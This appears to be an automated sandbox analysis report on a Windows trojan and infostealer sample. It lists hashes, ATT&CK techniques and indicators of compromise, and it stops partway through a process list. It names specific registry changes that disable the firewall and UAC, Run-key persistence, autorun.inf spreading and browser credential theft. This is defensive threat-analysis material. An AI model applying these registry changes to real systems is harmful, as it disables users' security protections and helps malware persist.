b2f9228bc717b88b83c990ebcb8e30dafd7748e1c927c23a305ac8ec29298039

Analysis

max time kernel
138s
max time network
134s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
21-09-2024 05:03

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
Size

275KB
MD5

ef1d48e8226e491133525df0e4d44dea
SHA1

16295c3ea0c8ba71edf39bc2627093d7c4a64cfc
SHA256

b2f9228bc717b88b83c990ebcb8e30dafd7748e1c927c23a305ac8ec29298039
SHA512

d2d701ea7ec2edccf334c57295ef4fe055ad3607772424c0194295ddd3a8c4a783586462afc48a36ce3a8174997ce4c4cf11676b65453e0da878c9edc2b9c3b6
SSDEEP

6144:8gSQqtvFsS/Q4zFFlm/RyPMgTC4j/a/1tU/hbRu3:1Sxt9zQ4zFFlm/MP1TbwHUS

Score

10^/10

defense_evasion discovery evasion persistence privilege_escalation spyware stealer trojan upx

Malware Config

Signatures

Modifies firewall policy service 3 TTPs 4 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0"	reg.exe

UAC bypass 3 TTPs 2 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Modifies Windows Firewall 2 TTPs 4 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2052	netsh.exe
2808	netsh.exe
2856	netsh.exe
1580	netsh.exe

Sets file to hidden 1 TTPs 10 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
1004	attrib.exe
2372	attrib.exe
2568	attrib.exe
1624	attrib.exe
2492	attrib.exe
2884	attrib.exe
1548	attrib.exe
1808	attrib.exe
988	attrib.exe
920	attrib.exe

Loads dropped DLL 3 IoCs

pid	Process
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2060	IEXPLORE.EXE
2768	IEXPLORE.EXE

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2552-4-0x0000000001200000-0x0000000001254000-memory.dmp	upx
behavioral1/files/0x0004000000004ed7-15.dat	upx
behavioral1/memory/940-27-0x0000000001200000-0x0000000001254000-memory.dmp	upx
behavioral1/memory/2552-542-0x0000000001200000-0x0000000001254000-memory.dmp	upx
behavioral1/memory/940-1079-0x0000000001200000-0x0000000001254000-memory.dmp	upx

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\sysrunc = "C:\\Windows\\System32\\sysrunc.exe"	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Windows\CurrentVersion\Run\daemon = "C:\\Users\\Admin\\AppData\\Roaming\\daemon.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\sysrunc = "C:\\Windows\\system32\\sysrunc.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Windows\CurrentVersion\Run\daemon = "C:\\Users\\Admin\\AppData\\Roaming\\daemon.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\sysrunc = "C:\\Windows\\system32\\sysrunc.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Windows\CurrentVersion\Run\daemon = "C:\\Users\\Admin\\AppData\\Roaming\\daemon.exe"	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Drops autorun.inf file 1 TTPs 5 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

description	ioc	Process
File created	C:\autorun.inf	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
File created	F:\autorun.inf	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
File created	D:\autorun.inf	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
File opened for modification	C:\autorun.inf	attrib.exe
File opened for modification	F:\autorun.inf	attrib.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\sysrunc.exe	cmd.exe
File opened for modification	C:\Windows\SysWOW64\sysrunc.exe	attrib.exe
File created	C:\Windows\SysWOW64\sysrunc.exe	cmd.exe
File opened for modification	C:\Windows\SysWOW64\sysrunc.exe	cmd.exe
File opened for modification	C:\Windows\SysWOW64\sysrunc.exe	attrib.exe
File opened for modification	C:\Windows\SysWOW64\sysrunc.exe	attrib.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs

pid	Process
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2060	IEXPLORE.EXE
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2060	IEXPLORE.EXE
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe

Launches sc.exe 7 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1628	sc.exe
2296	sc.exe
2900	sc.exe
1848	sc.exe
3040	sc.exe
2000	sc.exe
2584	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies Control Panel 4 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Control Panel\Desktop\ScreenSaveActive = "1"	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Control Panel\Desktop\ScreenSaveTimeOut = "60"	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Control Panel\Desktop\ScreenSaveActive = "1"	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Control Panel\Desktop\ScreenSaveTimeOut = "60"	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe

Modifies Internet Explorer settings 1 TTPs 50 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Show_FullURL = "yes"	reg.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000	iexplore.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_WEBOC_POPUPMANAGEMENT = "0"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MINIE\ShowStatusBar = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{03A212D1-77D7-11EF-9CED-F296DB73ED53} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MINIE\ShowStatusBar = "1"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Show_StatusBar = "yes"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Show_URLinStatusBar = "yes"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "433056951"	iexplore.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_WEBOC_POPUPMANAGEMENT = "0"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main	reg.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Show_URLinStatusBar = "yes"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Show_FullURL = "yes"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\MINIE	reg.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\MINIE	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2"	iexplore.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Show_StatusBar = "yes"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main	reg.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 61 IoCs

pid	Process
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
